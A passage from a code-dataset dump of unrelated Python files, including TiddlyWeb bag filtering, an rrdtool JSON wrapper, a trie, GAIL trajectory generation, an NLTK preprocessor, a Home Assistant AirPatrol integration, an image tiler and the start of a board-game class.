return bag\n\n raise NoBagError('no suitable bag for %s' % tiddler.title)\n\n\ndef determine_bag_for_tiddler(recipe, tiddler, environ=None):\n \"\"\"\n Return the bag which this tiddler would be in if we\n were to save it to the recipe rather than to a default\n bag.\n\n This is a matter of reversing the recipe list and seeing\n if the tiddler is a part of the bag + filter. If bag+filter\n is true, return that bag.\n \"\"\"\n template = _recipe_template(environ)\n for bag, filter_string in reversed(recipe.get_recipe(template)):\n # ignore the bag and make a new bag\n tmpbag = Bag(filter_string, tmpbag=True)\n tmpbag.add_tiddler(tiddler)\n for candidate_tiddler in filter_tiddlers_from_bag(tmpbag,\n filter_string):\n if tiddler.title == candidate_tiddler.title:\n if isinstance(bag, basestring):\n bag = Bag(name=bag)\n return bag\n\n raise NoBagError('no suitable bag for %s' % tiddler.title)\n\n\ndef get_tiddlers_from_bag(bag):\n \"\"\"\n Return the list of tiddlers that are in a bag.\n \"\"\"\n\n if bag.store:\n if hasattr(bag, 'skinny') and bag.skinny:\n bag.skinny = False\n bag = bag.store.get(bag)\n for tiddler in bag.gen_tiddlers():\n try:\n tiddler = bag.store.get(tiddler)\n except TiddlerFormatError:\n # XXX do more here?\n pass\n yield tiddler\n else:\n for tiddler in bag.gen_tiddlers():\n yield tiddler\n\n\ndef filter_tiddlers_from_bag(bag, filters):\n \"\"\"\n Return the list of tiddlers resulting from filtering\n bag by filter. The filter is a string that will be\n parsed to a list of filters.\n \"\"\"\n store = bag.store\n\n if bag.tmpbag or bag.revbag or bag.searchbag:\n indexable = False\n else:\n indexable = bag\n\n # XXX isinstance considered harmful\n if isinstance(filters, basestring):\n filters, leftovers = parse_for_filters(filters)\n if store:\n return recursive_filter(filters, get_tiddlers_from_bag(bag), indexable=indexable)\n else:\n return recursive_filter(filters, bag.gen_tiddlers(), indexable=indexable)\n\n\ndef _recipe_template(environ):\n \"\"\"\n provide a means to specify custom {{ key }} values in recipes\n which are then replaced with the value specified in environ['tiddlyweb.recipe_template']\n \"\"\"\n template = {}\n if environ:\n template = environ.get('tiddlyweb.recipe_template', {})\n try: \n template['user'] = environ['tiddlyweb.usersign']['name']\n except KeyError:\n pass\n \n return template\n","sub_path":"tiddlyweb/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":5217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"637648965","text":"\nimport os, time, json\nfrom . import config\nimport rrdtool\n\nclass JSONWrapper():\n\n def __init__(self, app):\n self.app = app\n self.cached_values = {}\n\n def get_rrd_json(self, period):\n v,ts = self.cached_values.get(period, (None,None))\n\n if (v is None) or (time.time() - ts > 15.0):\n v = self._get_rrd_json(period)\n self.cached_values[period] = v,time.time()\n return v\n else:\n return v\n\n def _get_rrd_json(self, period):\n y = []\n t_min = None\n t_max = None\n raw = rrdtool.fetch(config.rrd_file_path,'-r',\n '%ds'%max(1,int(period/1500)),'AVERAGE','-s','-%ds'%int(period))\n\n x = [1000*i for i in range(*raw[0])]\n for i in raw[2]:\n if None not in i:\n y.append(round(i[0],3))\n if None in (t_min, t_max):\n t_min = round(i[0],1)\n t_max = round(i[0],1)\n elif i[0] < t_min:\n t_min = round(i[0],1)\n elif i[0] > t_max:\n t_max = round(i[0],1)\n else:\n y.append(None)\n\n _values = list(zip(x,y))\n values = []\n\n # Removing every line containing a None value:\n for j,*rest in enumerate(_values):\n if None not in _values[j]:\n values.append(_values[j])\n\n values = values[::max(1,int(len(values)/1500))]\n\n data = [[{'values': values, 'key': 'Interior Temperature'}], {'min': t_min, 'max': t_max}]\n\n return json.dumps(data)\n\n","sub_path":"tlaws/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"113847473","text":"class Trie(dict):\n class TrieNode(dict):\n def __init__(self):\n self.end = False\n\n def add(self, word):\n root = self\n for letter in word:\n try:\n root = root[letter]\n except KeyError:\n root.update({letter : self.TrieNode()})\n root = root[letter]\n root.end = True\n \n def search(self, word):\n root = self\n for letter in word:\n try:\n root = root[letter]\n except KeyError:\n return False\n return root.end","sub_path":"trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"652933984","text":"from pathlib import Path\nimport argparse\nimport numpy as np\nimport tensorflow as tf\nimport gym\n\nfrom siamese_ranker import PPO2Agent\n\ndef gen_traj(env,agent,min_length):\n obs_list, actions_list, rewards_list = [], [], []\n\n obs, actions, rewards = [env.reset()],[],[]\n while True:\n action = agent.act(obs[-1], None, None)\n ob, reward, done, _ = env.step(action)\n final_x_pos = env.unwrapped.sim.data.qpos[0]\n\n obs.append(ob)\n actions.append(action)\n rewards.append(reward)\n\n if done:\n obs_list.append(np.stack(obs,axis=0)[:-1])\n actions_list.append(np.array(actions))\n rewards_list.append(np.array(rewards))\n print(final_x_pos)\n\n if sum([len(obs) for obs in obs_list]) < min_length:\n obs, actions, rewards = [env.reset()],[],[]\n else:\n break\n\n return obs_list, actions_list, rewards_list\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=None)\n # Env Setting\n parser.add_argument('--seed', default=0, type=int)\n parser.add_argument('--env_id', default='', help='Select the environment to run')\n parser.add_argument('--env_type', default='mujoco', help='mujoco or atari', choices=['mujoco'])\n # Demonstrator Setting\n parser.add_argument('--learners_path', required=True, help='path of learning agents')\n parser.add_argument('--train_chkpt', default='240', help='decide upto what learner stage you want to give')\n parser.add_argument('--stochastic', action='store_true', help='whether want to use stochastic agent or not')\n # Num Trajs per each agent\n parser.add_argument('--num_trajs', default=1, type=int) # Generate 24 to compare with GAIL\n parser.add_argument('--min_length', default=1000, type=int)\n\n args = parser.parse_args()\n\n np.random.seed(args.seed)\n tf.random.set_random_seed(args.seed)\n\n train_chkpt = eval(args.train_chkpt)\n if type(train_chkpt) == int:\n train_chkpt = list(range(train_chkpt+1))\n else:\n train_chkpt = list(train_chkpt)\n\n env = gym.make(args.env_id)\n\n models = sorted([p for p in Path(args.learners_path).glob('?????') if int(p.name) in train_chkpt])\n train_agents = []\n for path in models:\n agent = PPO2Agent(env,args.env_type,str(path),stochastic=args.stochastic)\n train_agents.append(agent)\n\n obs_list = []\n acs_list = []\n rews_list = []\n ep_rets = []\n for agent in train_agents:\n print(agent.model_path)\n for _ in range(args.num_trajs):\n o,a,r = gen_traj(env,agent,args.min_length)\n\n obs_list += o\n acs_list += a\n rews_list += r\n ep_rets += [np.sum(r_traj) for r_traj in r]\n\n print([np.sum(r_traj) for r_traj in r])\n\n import string\n filename = '%s_%s_%d.npz'%(args.env_id,args.train_chkpt,args.num_trajs)\n filename = ''.join(c for c in filename if c in \"-_.%s%s\" % (string.ascii_letters, string.digits))\n\n np.savez(\n filename,\n obs=obs_list,\n acs=acs_list,\n rews=rews_list,\n ep_rets=np.array(ep_rets))\n","sub_path":"gail_dst_gen.py","file_name":"gail_dst_gen.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"64079259","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom ..BO import combo_cryspy\nfrom ..IO import pkl_data\n\n\ndef next_gen(stat, bo_id_data, bo_data):\n # ---------- out and log\n with open('cryspy.out', 'a') as fout:\n fout.write('# ---------- Bayesian optimization\\n')\n print('# ---------- Bayesian optimization')\n\n # ---------- bo_id_data and bo_data\n gen, non_error_id, id_to_calc, id_done = bo_id_data\n descriptors, targets = bo_data\n\n # ---------- id_done --> sact\n sact = np.array([], dtype=int)\n for i in id_done:\n tindx = np.where(non_error_id == i)[0][0]\n sact = np.r_[sact, np.array([tindx])]\n\n # ---------- Bayesian optimization\n actions = combo_cryspy.bayes_opt(sact, descriptors, targets)\n\n # ---------- actions --> id_to_calc\n for i in actions:\n id_to_calc = np.r_[id_to_calc, non_error_id[i]]\n\n # ---------- gen\n gen += 1\n\n # ---------- save\n bo_id_data = (gen, non_error_id, id_to_calc, id_done)\n pkl_data.save_bo_id(bo_id_data)\n\n # ---------- status\n stat.set('status', 'generation', '{}'.format(gen))\n stat.set('status', 'selected_id', '{}'.format(' '.join(str(a) for a in id_to_calc)))\n stat.set('status', 'id_to_calc', '{}'.format(' '.join(str(a) for a in id_to_calc)))\n with open('cryspy.stat', 'w') as fstat:\n stat.write(fstat)\n\n # ---------- out and log\n print('# ---------- Generation: {}'.format(gen))\n print('selected_id: {}'.format(' '.join(str(a) for a in id_to_calc)))\n with open('cryspy.out', 'a') as fout:\n fout.write('# ---------- Generation: {}\\n'.format(gen))\n fout.write('selected_id: {}\\n\\n'.format(' '.join(str(a) for a in id_to_calc)))\n","sub_path":"CrySPY/BO/bo_next_gen.py","file_name":"bo_next_gen.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"614602934","text":"import nltk\nimport random\nimport pickle\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nimport re\nimport os\n\n\nclass PreprocessText():\n \n def __init__(self, files_pos, files_neg):\n self.files_pos = files_pos\n self.files_neg = files_neg\n\n def create_document(self):\n document = []\n try:\n load_doc = open(\"pickled_algos/documents.pickle\",\"rb\")\n document = pickle.load(load_doc)\n load_doc.close()\n except:\n for rev_pos, rev_neg in zip(self.files_pos, self.files_neg):\n document.append( (rev_pos, \"pos\"))\n document.append( (rev_neg, \"neg\"))\n\n #shuffle the document\n random.shuffle(document)\n # pickling the list documents to save future recalculations \n save_documents = open(\"pickled_algos/documents.pickle\",\"wb\")\n pickle.dump(document, save_documents)\n save_documents.close()\n print(\" Document Created.\")\n return document\n\n def create_BOW(self, tagged_sentence):\n all_words = []\n allowed_word_types = [\"J\",\"R\",\"V\"]\n #allowed_word_types = [\"J\"]\n for w in tagged_sentence:\n if w[1][0] in allowed_word_types:\n all_words.append(w[0].lower())\n return all_words\n\n def create_wordcloud(self, tagged_sentence, category):\n all_words = []\n #allowed_word_types = [\"J\",\"R\",\"V\"]\n allowed_word_types = [\"J\"]\n for w in tagged_sentence:\n if w[1][0] in allowed_word_types:\n all_words.append(w[0].lower())\n text = ' '.join(all_words)\n wordcloud = WordCloud(height = 400, width = 800, background_color=\"white\").generate(text)\n pathToSaveFile = './wordclouds/' + 'Wordcloud_'+ category +'.png'\n wordcloud.to_file(pathToSaveFile)\n\n\n def clean_tokenize_tag_wordcloud(self):\n stop_words = list(set(stopwords.words('english')))\n bow = []\n try:\n load_bow = open(\"pickled_algos/bow.pickle\",\"rb\")\n bow = pickle.load(load_bow)\n load_bow.close()\n except:\n print(\"No Saved BOW found. Continuing...\")\n count = 0\n for rev_pos in self.files_pos:\n print(\" Cleaning Review {}\".format(count))\n count = count + 1\n cleaned = re.sub(r'[^(a-zA-Z)\\s]','', rev_pos)\n tokenized = word_tokenize(cleaned)\n stopped = [w for w in tokenized if not w in stop_words]\n tagged_sentence = nltk.pos_tag(stopped)\n #self.create_wordcloud(tagged_sentence, \"positive\")\n bow = bow + self.create_BOW(tagged_sentence)\n\n for rev_neg in self.files_neg:\n print(\" Cleaning Review {}\".format(count))\n count = count + 1\n cleaned = re.sub(r'[^(a-zA-Z)\\s]','', rev_neg)\n tokenized = word_tokenize(cleaned)\n stopped = [w for w in tokenized if not w in stop_words]\n tagged_sentence = nltk.pos_tag(stopped)\n #self.create_wordcloud(tagged_sentence, \"negative\")\n bow = bow + self.create_BOW(tagged_sentence)\n\n save_bow = open(\"pickled_algos/bow.pickle\",\"wb\")\n pickle.dump(bow, save_bow)\n save_bow.close()\n return bow\n\n","sub_path":"preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"340012039","text":"\"\"\"AirPatrol Smartheat Platform integration.\"\"\"\nimport sys, json, time, random, pprint, base64, requests, hmac, hashlib, re\nimport pickle, urllib\nimport logging, time, hmac, hashlib, random, base64, json, socket, requests, re, threading, hashlib, string\nimport voluptuous as vol\nfrom datetime import timedelta\nfrom datetime import datetime\n\nfrom homeassistant.helpers.entity import Entity\nfrom homeassistant.helpers.event import async_track_time_interval\nfrom homeassistant.helpers import discovery\nfrom homeassistant.helpers import config_validation as cv\nfrom homeassistant.const import (\n EVENT_HOMEASSISTANT_STOP,\n CONF_SCAN_INTERVAL,\n CONF_EMAIL,\n CONF_PASSWORD,\n CONF_USERNAME,\n HTTP_MOVED_PERMANENTLY,\n HTTP_BAD_REQUEST,\n HTTP_UNAUTHORIZED,\n HTTP_NOT_FOUND,\n)\nfrom homeassistant.util import Throttle\n\n\nfrom config.custom_components.airpatrol_api import AirPatrol\n\nDOMAIN = \"airpatrol\"\nCONF_DEBUG = \"debug\"\n_LOGGER = logging.getLogger(__name__)\n\nCONFIG_SCHEMA = vol.Schema(\n {\n DOMAIN: vol.Schema(\n {\n vol.Required(CONF_USERNAME): cv.string,\n vol.Required(CONF_PASSWORD): cv.string,\n vol.Optional(\n CONF_SCAN_INTERVAL, default=timedelta(seconds=60)\n ): cv.time_period,\n vol.Optional(CONF_DEBUG, default=False): cv.boolean,\n },\n extra=vol.ALLOW_EXTRA,\n ),\n },\n extra=vol.ALLOW_EXTRA,\n)\n\n\nasync def async_setup(hass, config):\n \"\"\"Setup Airpatrol device.\"\"\"\n _LOGGER.debug(\"Create the main object\")\n\n hass.data[DOMAIN] = AirPatrolDevice(hass, config)\n\n if hass.data[DOMAIN].get_cid(): # make sure login was successful\n hass.helpers.discovery.load_platform(\"sensor\", DOMAIN, {}, config)\n hass.helpers.discovery.load_platform(\"climate\", DOMAIN, {}, config)\n\n return True\n\n\nclass AirPatrolDevice:\n \"\"\"thin HA-specific wrapper for all device features\"\"\"\n\n def __init__(self, hass, config):\n\n self._hass = hass\n self._username = config.get(DOMAIN, {}).get(CONF_USERNAME, \"\")\n self._username = config.get(DOMAIN, {}).get(CONF_PASSWORD, \"\")\n self._scan_interval = config.get(DOMAIN, {}).get(CONF_SCAN_INTERVAL)\n\n self._device = AirPatrol(self._username, self._username, self._scan_interval)\n\n def get_cid(self):\n return self._device.get_cid()\n\n def update_all(self):\n return self._device.update_all()\n\n def get_params(self):\n return self._device.get_params()\n\n def get_diagnostic(self):\n return self._device.get_diagnostic()\n\n def get_zones(self):\n return self._device.get_zones()\n\n def get_tempsensors(self):\n return self._device.get_tempsensors()\n\n","sub_path":"config/custom_components/airpatrol/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"619051894","text":"\"\"\"\nScript for building the example.\n\nUsage:\n python setup.py py2app\n\"\"\"\nimport sys\nfrom setuptools import setup\nimport plistlib\n\nOPTIONS = {\n 'iconfile': 'python.icns',\n 'plist': plistlib.readPlist('Info.plist'),\n 'includes': ['sage.py'],\n}\n\nsetup(\n name=\"PyInterpreter\",\n app=[\"main\" + str(sys.version_info.major) + \".py\"],\n data_files=[\"English.lproj\"],\n options={'py2app': OPTIONS},\n setup_requires=[\"py2app\"],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"4639898","text":"from players.entity import Player\r\nfrom players.helpers import index_from_userid, playerinfo_from_userid, index_from_playerinfo, userid_from_index\r\nfrom menus import SimpleMenu\r\nfrom menus import SimpleOption\r\nfrom menus import PagedOption\r\nfrom menus import Text\r\nimport wcs\r\nfrom menus import PagedMenu\r\nfrom wcs import wcsmenu\r\n\r\n#2\r\ndef shopinfo_menu_cats_build(menu, index):\r\n\tmenu.clear()\r\n\tmenu.parent_menu = wcsmenu.main_menu\r\n\tallitems = wcs.wcs.itemdb.getSections()\r\n\tfor item in allitems:\r\n\t\toption = PagedOption('%s' % str(item), item)\r\n\t\tmenu.append(option)\r\n\t\t\r\n#3\r\ndef shopinfo_menu_cats_select(menu, index, choice):\r\n\tuserid = userid_from_index(index)\r\n\tdoCommand1(userid, choice.value)\t\t\r\n\t\t\r\nshopinfo_menu_cats = PagedMenu(title='Shopinfo Menu', build_callback=shopinfo_menu_cats_build, select_callback=shopinfo_menu_cats_select,parent_menu=wcsmenu.main_menu)\r\n\r\n#1\t\r\ndef doCommand(userid):\r\n\tindex = index_from_userid(userid)\r\n\tallitems = wcs.wcs.itemdb.getSections()\r\n\tif len(allitems):\r\n\t\tshopinfo_menu_cats.send(index)\t\t\r\n\r\n\r\n\r\nitem_names = []\r\n\r\n#5\r\ndef shopinfo_menu_subcats_build(menu, index):\r\n\tmenu.clear()\r\n\tuserid = userid_from_index(index)\r\n\tsection = menu.title\r\n\tshopinfo_menu_subcats.parent_menu = shopinfo_menu_cats\r\n\titems_all = wcs.wcs.ini.getItems\r\n\titems_all.walk(gather_subsection)\r\n\tfor item in item_names:\r\n\t\titem_sec = wcs.wcs.itemdb.getSectionFromItem(item)\r\n\t\tif item_sec == section:\r\n\t\t\titeminfo = wcs.wcs.itemdb.getItem(item)\r\n\t\t\toption = PagedOption('%s' % str(iteminfo['name']), item)\r\n\t\t\tmenu.append(option)\r\n\t\t\t\t\r\n\t\r\ndef gather_subsection(section, key):\r\n\tif section.depth > 1:\r\n\t\tif section.name not in item_names:\r\n\t\t\titem_names.append(section.name)\r\n#6\t\t\t\r\ndef shopinfo_menu_subcats_select(menu, index, choice):\r\n\tuserid = userid_from_index(index)\r\n\titem = choice.value\r\n\titeminfo = wcs.wcs.itemdb.getItem(item)\r\n\tdesc = iteminfo['desc']\r\n\tcost = int(iteminfo['cost'])\r\n\trequired = int(iteminfo['level'])\r\n\trequired_status = int(iteminfo['dab'])\r\n\tif required_status == 1:\r\n\t\trequired_status = ''\r\n\tif required_status == 0:\r\n\t\trequired_status = ''\r\n\tif required_status == 2:\r\n\t\trequired_status = ''\r\n\tduration = int(iteminfo['duration'])\r\n\tif duration == 1:\r\n\t\tduration = ''\r\n\tif duration == 0:\r\n\t\tduration = ''\r\n\tmaximum = int(iteminfo['max'])\r\n\tshopinfo_race_menu = PagedMenu(title='%s' % iteminfo['name'],parent_menu=menu)\r\n\tshopinfo_race_menu.append(Text('o %s' % desc))\r\n\tshopinfo_race_menu.append(Text('Required level: %s' % required))\r\n\tshopinfo_race_menu.append(Text('Cost: %s' % cost))\r\n\tshopinfo_race_menu.append(Text('Buyable when: %s' % required_status))\r\n\tshopinfo_race_menu.append(Text('Duration: %s' % duration))\r\n\tshopinfo_race_menu.send(index)\r\n\r\nshopinfo_menu_subcats = PagedMenu(build_callback=shopinfo_menu_subcats_build, select_callback=shopinfo_menu_subcats_select)\r\n\r\n#4\t\t\t\r\ndef doCommand1(userid, value):\r\n\tindex = index_from_userid(userid)\r\n\titemkeys = wcs.wcs.ini.getItems\r\n\tshopinfo_menu_subcats.title = '%s' % value\r\n\tshopinfo_menu_subcats.send(index)","sub_path":"addons/source-python/plugins/wcs/shopinfo.py","file_name":"shopinfo.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"451986907","text":"\"\"\"maketiles\ncreates tiles for MCTV\n\"\"\"\nimport sys\nimport os\nimport numpy as np\nfrom .jsonhandler import *\nfrom .vgireader import *\nfrom PIL import Image\nfrom math import ceil, log\nimport logging\n\n#Logger.propagate = True\nstepX = 256 #tile size X\nstepY = 256 #tile size Y\n\ndef flt(x):\n \"\"\"float array from np array\"\"\"\n return float(x)\nflt = np.vectorize(flt)\n\ndef npint(x):\n \"\"\"int array from np array\"\"\"\n return int(x)\nnpint = np.vectorize(npint)\n\ndef getoutpath(filepath,ftype,num=\"0000\"):\n \"\"\"get the output path for the tiles\"\"\"\n a = filepath.rindex(\"\\\\\")\n b = filepath.rindex(\".\")\n filename = filepath[a:b]\n if ftype == \"raw\":\n outpath = filepath[:a] + \"\\\\.previews\\\\\" + str(num)\n else:\n outpath = filepath[:a] + \"\\\\.previews\\\\\" + filename\n return outpath\n\ndef maketilesImage(filepath,minval,maxval,ftype=\"image\",rawdata={\"snum\":\"0001\",\"start\":0,\"length\":1,\"bits\":32,\"ntype\":\"f\"}):\n \"\"\"open the file and save tiles in a subdir of the outdir specified\n filepath string path to the image file\n minval float minimum pixel value to use for the mapping (i.e.\n maps to 0 in 8-bit)\n minval float maximum pixel value to use for the mapping (i.e.\n maps to 255 in 8-bit)\n ftype string \"image\" or \"raw\" to tell the function, what type\n of file to expect\n rawdata dictionary provides all the details required when a raw\n file is given rather than an image file\n - \"snum\" string subfolder to save tiles to\n - \"start\" integer first byte to read\n - \"length\" long number of pixel to read\n - \"bits\" integer number of bits per pixel/voxel\n - \"ntype\" string n[umber]type string for converting the bytes into\n numbers\n - \"width\"\n - \"height\"\n \"\"\"\n verbose=False\n # open the image passed\n logging.info(\"attempt opening \" + filepath)\n if ftype == \"raw\":\n imarray = readRAW(filepath,rawdata[\"start\"],rawdata[\"length\"],rawdata[\"bits\"],rawdata[\"ntype\"],rawdata[\"width\"],rawdata[\"height\"])\n imarray = flt(imarray)\n maxX,maxY = int(rawdata[\"width\"]),int(rawdata[\"height\"])\n outpath = getoutpath(filepath,ftype,rawdata[\"snum\"])\n else:\n img = Image.open(filepath)\n if img.mode == \"F;32BF\":\n img.mode = \"F\"\n logging.debug(\"attempt succesful\")\n imarray = flt(np.array(img))\n maxX,maxY = img.size\n outpath = getoutpath(filepath,ftype)\n if not os.path.exists(outpath):\n os.makedirs(outpath)\n \n logging.debug(\"maxX:%d, maxY:%d, stepX:%d, stepY:%d\", maxX, maxY, stepX, stepY)\n maxZoomlevel = int(ceil(log(max(float(maxX)/stepX,float(maxY)/stepY))/log(2)));\n logging.debug(\"maxZoomlevel: %d\", maxZoomlevel)\n # adjust image values to 0 to 255 range for 24bit RGB conversion\n logging.debug(\"minval %d >= %d\", np.min(imarray), minval)\n logging.debug(\"maxval %d <= %d\", np.max(imarray), maxval)\n logging.debug(str(imarray[:500][:500]))\n imarray -= minval\n imarray /= float(maxval-minval)\n imarray *= 255\n imarray = npint(imarray)\n if verbose:\n logging.debug(\"minval %d (expected %d)\", np.min(imarray), 0)\n logging.debug(\"maxval %d (expected %d)\", np.max(imarray), 255)\n logging.debug(str(imarray[:500][:500]))\n img = Image.fromarray(imarray)\n # create the tiles\n centrestrip = None\n for zoomlevel in range(maxZoomlevel+1)[::-1]:\n for x in range(0,maxX,stepX):\n for y in range(0,maxY,stepY):\n xs = stepX;\n ys = stepY;\n \n x2 = x+xs;\n if (x2 >= maxX):\n xs = maxX - 1 - x\n y2 = y+ys;\n if (y2 >= maxY):\n ys = maxY - 1 - y\n logging.debug(\"x: %d, y: %d, xs: %d, ys: %d, maxX: %d, maxY: %d\", x, y, xs, ys, maxX, maxY)\n tim = img.convert(\"RGB\")\n tim = tim.crop((x, y, x+xs, y+ys))\n # save the tiles\n fout = open(outpath + \"\\\\\" + str(zoomlevel)+\"-\"+str(x//stepX)+\"-\"+str(y//stepY)+\".jpg\",\"wb\")\n tim.save(fout,\"JPEG\")\n fout.close()\n\n # for last zoom level, save crossectional center strip\n centrestrip = img.convert(\"RGB\")\n centrestrip = centrestrip.crop((0, int(maxY/2), maxX, int(maxY/2)+1))\n \n # scale image\n img.thumbnail((maxX//2,maxY//2), Image.ANTIALIAS)\n maxX,maxY = img.size\n return outpath, centrestrip\n\ndef imgFromFiles(files):\n for fileName in files:\n a = fileName.rindex(\".\")\n fileEnding = fileName[a+1:]\n if fileEnding in [\"tif\",\"jpg\",\"png\",\"tiff\"]:\n filelist.append(fileName)\n logging.debug(\"choose \" + fileName)\n else:\n logging.debug(\"ignore \" + fileName + \" \" + fileEnding)\n return filelist\n\ndef imgFromFolder(path):\n \"\"\"get all image files in a folder (not including sub-directories)\"\"\"\n filelist = []\n files = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path,f))]\n return imgFromFiles(files)\n\ndef imgFromPath(path):\n \"\"\"get all image files on a path (including sub-directories)\"\"\"\n filelist = []\n for root, dirs, files in os.walk(path):\n filelist = filelist + imgFromFiles(files)\n return filelist\n\ndef propertiesFromImg(filepath):\n \"\"\"get main properties from an image\"\"\"\n pMax = 0\n pMin = 0\n pWidth = 0\n pHeight = 0\n img = Image.open(open(filepath,\"rb\"))\n if img.mode == \"F;32BF\":\n img.mode = \"F\"\n pWidth, pHeight = img.size\n logging.debug(str(img))\n #imarray = np.array(img)\n #logging.debug(str(imarray))\n #imarray = flt(imarray)\n #pMin = np.min(imarray)\n #pMax = np.max(imarray)\n pMin=0\n pMax=255\n\n a = filepath.rindex(\"\\\\\")\n b = filepath.rindex(\".\")\n filename = filepath[a:b]\n \n return {\"Width\":pWidth, \"Height\":pHeight, \"Min\":pMin, \"Max\":pMax, \"filepath\":filepath, \"filename\":filename}\n\ndef MinMaxFromImg(filepath):\n \"\"\"get the minimum and maximum pixel value from an image\"\"\"\n pMax = 0\n pMin = 0\n img = Image.open(open(filepath,\"rb\"))\n if img.mode == \"F;32BF\":\n img.mode = \"F\"\n logging.debug(str(img))\n imarray = np.array(img)\n imarray = flt(imarray)\n pMin = np.min(imarray)\n pMax = np.max(imarray)\n \n return pMin,pMax\n\ndef MajRange(points,percentage):\n \"\"\"finds the minimum and maximum so that percentage percent of the\n points are included in that range.\"\"\"\n points.sort()\n lowid = int(0.5*(1-percentage)*len(points))\n higid = -1*lowid\n logging.debug(\"Rnd min:%d, max:%d\",points[0],points[-1])\n return float(points[lowid]),float(points[higid])\n\ndef initiateThumbnails(filepath,imgcount,imsize):\n \"\"\"creates a black image of the size required for the cross-sectional\n thumbnail so taht individual parts of the image can be added later\"\"\"\n width = int(imsize)\n height = int(imgcount)\n while width > 256:\n width = width/2\n height = height/2\n imarray = np.zeros((int(height)+1,int(width)))\n img = Image.fromarray(imarray)\n img = img.convert(\"RGB\")\n fout = open(filepath,\"wb\")\n img.save(fout,\"JPEG\")\n fout.close()\n return None\n\ndef addtoThumbnail(filepath,imgcount,imgtotal,stripe):\n \"\"\"loads cross-sectional thumbnail and adds stripe specified\"\"\"\n \n img = Image.open(filepath)\n img = img.convert(\"RGB\")\n imarray = np.array(img)\n maxX,maxY = img.size\n posY = int(maxY*imgcount/imgtotal)\n #TODO: fix issue if not all images have the same size...\n imarray[posY][:][:] = np.array(stripe)[0][:][:]\n img = Image.fromarray(imarray)\n fout = open(filepath,\"wb\")\n img.save(fout,\"JPEG\")\n fout.close()\n return None\n","sub_path":"tiler/maketiles.py","file_name":"maketiles.py","file_ext":"py","file_size_in_byte":7876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"326906579","text":"import re\n\ndef rev(t: tuple) -> tuple:\n return tuple(reversed(t))\n\ndef load(filename):\n with open(filename) as f:\n for line in f:\n match = re.match(r'pos=<(-?[\\d]+),(-?[\\d]+),(-?[\\d]+)>, r=([\\d]+)', line)\n if match:\n x, y, z, r = map(int, match.groups())\n yield r, x, y, z\n else:\n raise Exception('line' + line)\n\ndef manhattan(a, b):\n ax, ay, az = a\n bx, by, bz = b\n return abs(bx - ax) + abs(by - ay) + abs(bz - az)\n\ndef radius(bot):\n return bot[0]\n\nfrom collections import defaultdict\n\ndef placement_separated(bots, dimension):\n within = defaultdict(int)\n for bot in bots:\n for delta in range(-radius(bot), radius(bot)):\n c = bot[dimension] + delta\n within[c] += 1\n high = max(within.values())\n return [k for k, v in within.items() if v == high]\n\ndef cube(xs, ys, zs):\n for z in zs:\n for y in ys:\n for x in xs:\n yield x, y, z\n\ndef placement(bots):\n origin = (0, 0, 0)\n\n candidates = cube(placement_separated(bots, 1), placement_separated(bots, 2), placement_separated(bots, 3))\n #for c in candidates:\n # print(c)\n m = min((manhattan(origin, candidate), candidate) for candidate in candidates)\n print(m)\n\nbots = list(load('input/23ex2'))\nprint(bots)\nprint(placement(bots))\n#strong = max(bots)\n#print(len([b for b in bots if manhattan(b, strong) <= radius(strong)]))\n","sub_path":"2018/23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"555022148","text":"# Igra\n\nIGRALEC_M = \"modri\"\nIGRALEC_R = \"rdeci\"\nPRAZNO = '.'\nNI_KONEC = 'Ni konec'\nKONEC = \"Konec\"\n\ndef nasprotnik(igralec):\n if igralec == IGRALEC_M:\n return IGRALEC_R\n elif igralec == IGRALEC_R:\n return IGRALEC_M\n else:\n assert False\n\ndef transponiraj(seznam_seznamov):\n # Transponira matriko polj plošče\n return [list(i) for i in zip(*seznam_seznamov)]\n\nclass Igra():\n def __init__(self):\n self.plosca = []\n for j in range(11):\n vrstica = []\n for i in range(11):\n vrstica.append(PRAZNO)\n self.plosca.append(vrstica)\n\n self.stanje_igre = NI_KONEC\n self.zmagovalec = None\n self.na_potezi = IGRALEC_M\n self.zgodovina = []\n\n def shrani_pozicijo(self):\n # Shrani trenutno plosco in kdo je na potezi kot par v seznam zgodovine\n p = [self.plosca[j][:] for j in range(11)]\n self.zgodovina.append((p, self.na_potezi))\n\n def kopija(self):\n \"Vrne kopijo igre.\"\n k = Igra()\n k.plosca = [self.plosca[i][:] for i in range(11)]\n k.na_potezi = self.na_potezi\n return k\n\n def razveljavi(self):\n # Razveljavi zadnjo potezo\n (self.plosca, self.na_potezi) = 